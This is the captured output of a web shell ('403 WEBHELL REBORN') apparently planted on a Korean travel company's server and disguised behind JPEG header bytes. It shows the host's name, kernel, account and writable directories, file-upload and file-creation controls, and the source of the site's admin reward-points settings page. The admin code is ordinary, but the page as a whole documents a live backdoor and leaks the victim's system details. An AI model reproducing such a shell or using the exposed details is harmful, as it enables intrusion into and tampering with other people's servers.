ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/setting/point.html
<?
include "../include/top.html";
include "_common.php";

$class_CommonTour = new CommonTour();

$r = $class_CommonTour->shopPoint();

?>
<div class="contents_wrap">
<div class="contents_wrap_in">
	<div class="title">적립금설정<span class="arrow">&gt;</span><strong>적립금관리</strong></div>
	<div class="contents_detail">
	<div class="setting_wrap">

				<!-- 폼 -->
				<form name="frm_edit" id="frm_edit" method="post" enctype="multipart/form-data">
				<input type="hidden" name="SqlType" value="point_info_edit" />
				<h2 class="mt30">기본정보 설정</h2>
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" summary="적립금 기본정보를 설정하실 수 있습니다.">
					<tbody>
					<tr>
						<th width="180" scope="row"><label for="">사용여부</label></th>
						<td>
							<label><input type="radio" name="use_yn" id="use_y" value="Y" <?=($r['use_yn']=="Y") ? "checked":""?>> 사용</label>&nbsp;
							<label><input type="radio" name="use_yn" id="use_n" value="N" <?=($r['use_yn']!="Y") ? "checked":""?>> 사용안함</label>&nbsp;
						</td>
					</tr>

					<!-- <tr>
						<th scope="row"><label for="">포인트명</label></th>
						<td>
							<input type="text" name="point_nm" id="point_nm" value="<?=$r['point_nm']?>" size="35" class="input_text" hname="포인트 단위 명칭" required /> 예)도토리, 하트
						</td>
					</tr> -->
					</tbody>
				</table>
				<h2 class="mt30">적립기준 설정</h2>
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" summary="적립금 기본정보를 설정하실 수 있습니다.">
					<tbody>
						<tr>
							<th width="180" scope="row"><label for="">회원 가입 적립금(한글)</label></th>
							<td>
								<input type="text" name="point_join" id="point_join" value="<?=number_format($r['point_join'])?>" size="10" class="input_text txt_r" hname="회원가입적립금" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  />
							</td>
						</tr>
						<tr>
							<th width="180" scope="row"><label for="">회원 가입 적립금(영어)</label></th>
							<td>
								<input type="text" name="point_join_en" id="point_join_en" value="<?=number_format($r['point_join_en'])?>" size="10" class="input_text txt_r" hname="회원가입적립금" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  />
							</td>
						</tr>
						<tr>
							<th width="180" scope="row"><label for="">회원 가입 적립금(간체)</label></th>
							<td>
								<input type="text" name="point_join_cn" id="point_join_cn" value="<?=number_format($r['point_join_cn'])?>" size="10" class="input_text txt_r" hname="회원가입적립금" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  />
							</td>
						</tr>
						<tr>
							<th width="180" scope="row"><label for="">회원 가입 적립금(번체)</label></th>
							<td>
								<input type="text" name="point_join_hk" id="point_join_hk" value="<?=number_format($r['point_join_hk'])?>" size="10" class="input_text txt_r" hname="회원가입적립금" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  />
							</td>
						</tr>

						<tr>
							<th scope="row"><label for="">구매시 적립 기본비율(한글)</label> <span class="help_tooltip" title="상품별 세부관리에서 다시 설정가능합니다."></span></th>
							<td>
								구매액(상품가격)
								<input type="text" name="point_buy1" id="point_buy1" value="<?=number_format($r['point_buy1'])?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 원당 
								<input type="text" name="point_buy2" id="point_buy2" value="<?=$r['point_buy2']?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 적립
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="">구매시 적립 기본비율(영어)</label> <span class="help_tooltip" title="상품별 세부관리에서 다시 설정가능합니다."></span></th>
							<td>
								구매액(상품가격)
								<input type="text" name="point_buy1_en" id="point_buy1_en" value="<?=number_format($r['point_buy1_en'])?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> USD당 
								<input type="text" name="point_buy2_en" id="point_buy2_en" value="<?=$r['point_buy2_en']?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);'   /> 적립
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="">구매시 적립 기본비율(간체)</label> <span class="help_tooltip" title="상품별 세부관리에서 다시 설정가능합니다."></span></th>
							<td>
								구매액(상품가격)
								<input type="text" name="point_buy1_cn" id="point_buy1_cn" value="<?=number_format($r['point_buy1_cn'])?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> CNY당 
								<input type="text" name="point_buy2_cn" id="point_buy2_cn" value="<?=$r['point_buy2_cn']?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);'  /> 적립
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="">구매시 적립 기본비율(번체)</label> <span class="help_tooltip" title="상품별 세부관리에서 다시 설정가능합니다."></span></th>
							<td>
								구매액(상품가격)
								<input type="text" name="point_buy1_hk" id="point_buy1_hk" value="<?=number_format($r['point_buy1_hk'])?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> NT당 
								<input type="text" name="point_buy2_hk" id="point_buy2_hk" value="<?=$r['point_buy2_hk']?>" size="10" class="input_text txt_r" hname="구매적립금" required onkeydown='ChkNum(this,event);'  /> 적립
							</td>
						</tr>

						<tr>
							<th>적립금 사용시 추가 적립</th>
							<td>
								<input type="radio" name="point_use_give" id="point_use_give_1" value="N"  <?=($r['point_use_give']!="Y") ? "checked":""?>> <label for="point_use_give_1"> 적립안함</label> &nbsp;
								<input type="radio" name="point_use_give" id="point_use_give_2" value="Y"  <?=($r['point_use_give']=="Y") ? "checked":""?>> <label for="point_use_give_2"> 적립함</label>
							</td>
						</tr>				
						<tr>
							<th>적립 가능한 결제 금액(한글)</th>
							<td>
								<input type="text" name="point_save_min" value="<?=number_format($r['point_save_min'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 원 <b>이상 결제할 경우</b>(상품 총액) 적립금 적립 <br>
							</td>
						</tr>
						<tr>
							<th>적립 가능한 결제 금액(엉어)</th>
							<td>
								<input type="text" name="point_save_min_en" value="<?=number_format($r['point_save_min_en'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> USD <b>이상 결제할 경우</b>(상품 총액) 적립금 적립 <br>
							</td>
						</tr>
						<tr>
							<th>적립 가능한 결제 금액(간체)</th>
							<td>
								<input type="text" name="point_save_min_cn" value="<?=number_format($r['point_save_min_cn'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> CNY <b>이상 결제할 경우</b>(상품 총액) 적립금 적립 <br>
							</td>
						</tr>
						<tr>
							<th>적립 가능한 결제 금액(번체)</th>
							<td>
								<input type="text" name="point_save_min_hk" value="<?=number_format($r['point_save_min_hk'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> NT <b>이상 결제할 경우</b>(상품 총액) 적립금 적립 <br>
							</td>
						</tr>

					</tbody>
				</table>
				<h2 class="mt30">사용기준 설정</h2>
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" summary="적립금 기본정보를 설정하실 수 있습니다.">
					<tbody>
						<tr>
							<th width="180">결제가능 <u>최소</u> 적립금(한글)</th>
							<td>
								<input type="text" name="point_use_min" value="<?=number_format($r['point_use_min'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 적립금
								<strong>이상 적립금가 있을 경우</strong> 사용 가능
							</td>
						</tr>
						<tr>
							<th width="180">결제가능 <u>최소</u> 적립금(영어)</th>
							<td>
								<input type="text" name="point_use_min_en" value="<?=number_format($r['point_use_min_en'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 적립금
								<strong>이상 적립금가 있을 경우</strong> 사용 가능
							</td>
						</tr>
						<tr>
							<th width="180">결제가능 <u>최소</u> 적립금(간체)</th>
							<td>
								<input type="text" name="point_use_min_cn" value="<?=number_format($r['point_use_min_cn'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 적립금
								<strong>이상 적립금가 있을 경우</strong> 사용 가능
							</td>
						</tr>
						<tr>
							<th width="180">결제가능 <u>최소</u> 적립금(번체)</th>
							<td>
								<input type="text" name="point_use_min_hk" value="<?=number_format($r['point_use_min_hk'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 적립금
								<strong>이상 적립금가 있을 경우</strong> 사용 가능
							</td>
						</tr>

						<tr>
							<th>결제가능 <u>최대</u> 적립금(한글)</th>
							<td>
								1. <input type="radio" name="point_use_max_type" value="1"  <?=($r['point_use_max_type']=="1") ? "checked":""?>>
									적립금 중
									<input type="text" name="point_use_max_won" value="<?=number_format($r['point_use_max_won'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 원
									<b>이하만 </b> 사용 가능 <br><br>

								2. <input type="radio" name="point_use_max_type" value="2"   <?=($r['point_use_max_type']=="2") ? "checked":""?>>
									총 결제금액 중
									<input type="text" name="point_use_max_per" value="<?=number_format($r['point_use_max_per'])?>" class="input_text txt_r" size="10" onkeydown="ChkNum(this,event);" /> %
									<b>이하만 </b> 사용 가능 <br>
							</td>
						</tr>
						<tr>
							<th>결제가능 <u>최대</u> 적립금(영어)</th>
							<td>
								1. <input type="radio" name="point_use_max_type_en" value="1"  <?=($r['point_use_max_type_en']=="1") ? "checked":""?>>
									적립금 중
									<input type="text" name="point_use_max_won_en" value="<?=number_format($r['point_use_max_won_en'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> USD
									<b>이하만 </b> 사용 가능 <br><br>

								2. <input type="radio" name="point_use_max_type_en" value="2"   <?=($r['point_use_max_type_en']=="2") ? "checked":""?>>
									총 결제금액 중
									<input type="text" name="point_use_max_per_en" value="<?=number_format($r['point_use_max_per_en'])?>" class="input_text txt_r" size="10" onkeydown="ChkNum(this,event);" /> %
									<b>이하만 </b> 사용 가능 <br>
							</td>
						</tr>
						<tr>
							<th>결제가능 <u>최대</u> 적립금(간체)</th>
							<td>
								1. <input type="radio" name="point_use_max_type_cn" value="1"  <?=($r['point_use_max_type_cn']=="1") ? "checked":""?>>
									적립금 중
									<input type="text" name="point_use_max_won_cn" value="<?=number_format($r['point_use_max_won_cn'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> CNY
									<b>이하만 </b> 사용 가능 <br><br>

								2. <input type="radio" name="point_use_max_type_cn" value="2"   <?=($r['point_use_max_type_cn']=="2") ? "checked":""?>>
									총 결제금액 중
									<input type="text" name="point_use_max_per_cn" value="<?=number_format($r['point_use_max_per_cn'])?>" class="input_text txt_r" size="10" onkeydown="ChkNum(this,event);" /> %
									<b>이하만 </b> 사용 가능 <br>
							</td>
						</tr>
						<tr>
							<th>결제가능 <u>최대</u> 적립금(번체)</th>
							<td>
								1. <input type="radio" name="point_use_max_type_hk" value="1"  <?=($r['point_use_max_type_hk']=="1") ? "checked":""?>>
									적립금 중
									<input type="text" name="point_use_max_won_hk" value="<?=number_format($r['point_use_max_won_hk'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> NT
									<b>이하만 </b> 사용 가능 <br><br>

								2. <input type="radio" name="point_use_max_type_hk" value="2"   <?=($r['point_use_max_type_hk']=="2") ? "checked":""?>>
									총 결제금액 중
									<input type="text" name="point_use_max_per_hk" value="<?=number_format($r['point_use_max_per_hk'])?>" class="input_text txt_r" size="10" onkeydown="ChkNum(this,event);" /> %
									<b>이하만 </b> 사용 가능 <br>
							</td>
						</tr>

						<tr>
							<th>결제가능 최소 구매금액(한글)</th>
							<td>
								상품을 <input type="text" name="point_use_order_min" value="<?=number_format($r['point_use_order_min'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> 원
								<b>이상 구매하였을 경우</b> 사용 가능
							</td>
						</tr>
						<tr>
							<th>결제가능 최소 구매금액(영어)</th>
							<td>
								상품을 <input type="text" name="point_use_order_min_en" value="<?=number_format($r['point_use_order_min_en'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> USD
								<b>이상 구매하였을 경우</b> 사용 가능
							</td>
						</tr>
						<tr>
							<th>결제가능 최소 구매금액(간체)</th>
							<td>
								상품을 <input type="text" name="point_use_order_min_cn" value="<?=number_format($r['point_use_order_min_cn'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> CNY
								<b>이상 구매하였을 경우</b> 사용 가능
							</td>
						</tr>
						<tr>
							<th>결제가능 최소 구매금액(번체)</th>
							<td>
								상품을 <input type="text" name="point_use_order_min_hk" value="<?=number_format($r['point_use_order_min_hk'])?>" class="input_text txt_r" size="10" onkeydown='ChkNum(this,event);' onblur='this.value=comma(this.value)'  /> NT
								<b>이상 구매하였을 경우</b> 사용 가능
							</td>
						</tr>

					</tbody>
				</table>

				<div class="btn_wrap_C mt30 mb30" style="background:#edf0f5">
					<a class="Bbtn red" href="javascript:;" onClick="check_frm();">수정</a>
				</div>

        </form>
				<!-- /폼 -->	

	</div>
	</div>
</div>
</div>
<script type="text/javascript">
function check_frm()
{
		var f=document.frm_edit;

		var result = to_validation(f);
		if (result==false) return false;

		if(!confirm('수정하시겠습니까?')) return false;

		ajax_post("ajax_proc","point_proc.html","frm_edit");
}
</script>
<? include "../include/footer.html" ?>	

Anon7 - 2021